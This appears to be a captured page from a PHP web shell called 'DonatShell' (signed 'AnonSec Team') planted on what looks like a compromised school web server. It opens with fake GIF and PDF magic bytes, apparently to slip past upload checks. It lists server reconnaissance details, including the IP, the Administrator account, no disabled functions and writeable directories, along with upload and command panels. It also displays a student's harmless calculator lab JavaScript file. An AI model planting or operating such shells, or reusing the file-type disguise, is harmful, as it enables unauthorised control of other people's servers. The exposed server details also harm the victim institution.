GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST1022/Labs/Lab02/dn/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST1022/Labs/Lab02/dn/Lab02.js
"use strict";
// replace_with_your_name - Lab 2 js file.

/** @global {boolean} */
let calculatorOn;						// Remember if the calculator is on or off.
/** @global {string} */
let currentNumberEntered;		// The current number entered and shown in the display.
/** @global {string} */
let memoryStore;						// Used for MRC/M-/M+ buttons.
/** @global {string} */
let operationClicked;				// The operation [%+x-÷] that was clicked.
/** @global {string} */
let previousAreaClicked;		// The previous area that was clicked.
/** @global {string} */
let previousNumberEntered;	// The previous number entered.
/** @global {string} */
let previousOperand_2;			// The previous second operand. Used for following on = calculations.

function _Initialize() {
  turnCalculatorOff();
}

/**
 * Perform the calculator button function.
 *
 * @param {string} numberClicked - The value of the button that was clicked.
 */
function addKeyToCurrentNumberEntered(numberClicked) {
  if (Number(currentNumberEntered)) {
    currentNumberEntered += numberClicked;
  } else {
    currentNumberEntered = numberClicked;
  }
} // END addKeyToCurrentNumberEntered.

/**
 * Get the calculator display value.
 *
 * @return {string} The current display string.
 */
function getDisplay() {
  return document.getElementById('calculatorDisplay').innerText;
} // END getDisplay.

/**
 * Perform the calculator button function.
 *
 * @param {object} e - The area that was clicked on.
 * @return (false) Stops the area href from being opened.
 */
function performCalculatorButton(e) {
  let btnClicked = e.title;
  console.log(`performCalculatorButton[] btnClicked = ${btnClicked}`);
  if (calculatorOn) {
    switch (btnClicked) {
      case '1':
        previousAreaClicked = btnClicked;
        addKeyToCurrentNumberEntered(btnClicked);
        setDisplay(currentNumberEntered);
        break;
      case 'on':
        if (calculatorOn) {
          turnCalculatorOff();
        }
        break;
      default:
        console.log(`${btnClicked} not programmed.`);
    }
  } else {
    turnCalculatorOn();
  }
  return false;
} // END performCalculatorButton.

/**
 * Turn on and reset the calculator global variables.
 */
function resetCalculator() {
  currentNumberEntered = '';
  memoryStore = '0';
  previousAreaClicked = '';
  previousNumberEntered = '0';
} // END resetCalculator.

/**
 * Turn off the calculator.
 */
function turnCalculatorOff() {
  console.log('turnCalculatorOff[]');
  calculatorOn = false;
  document.getElementById('calculatorDisplay').style.backgroundColor = 'black';
} // END turnCalculatorOff.

/**
 * Turn on and reset the calculator.
 */
function turnCalculatorOn() {
  console.log('turnCalculatorOn[]');
  calculatorOn = true;
  resetCalculator();
  setDisplay(currentNumberEntered);
  document.getElementById('calculatorDisplay').style.backgroundColor = 'silver';
} // END turnCalculatorOn.

/**
 * Set the calculator display value.
 *
 * @param {object} displayValue - The value to display.
 */
function setDisplay(displayValue) {
  document.getElementById('calculatorDisplay').innerText = displayValue;
} // END setDisplay.

Anon7 - 2022
AnonSec Team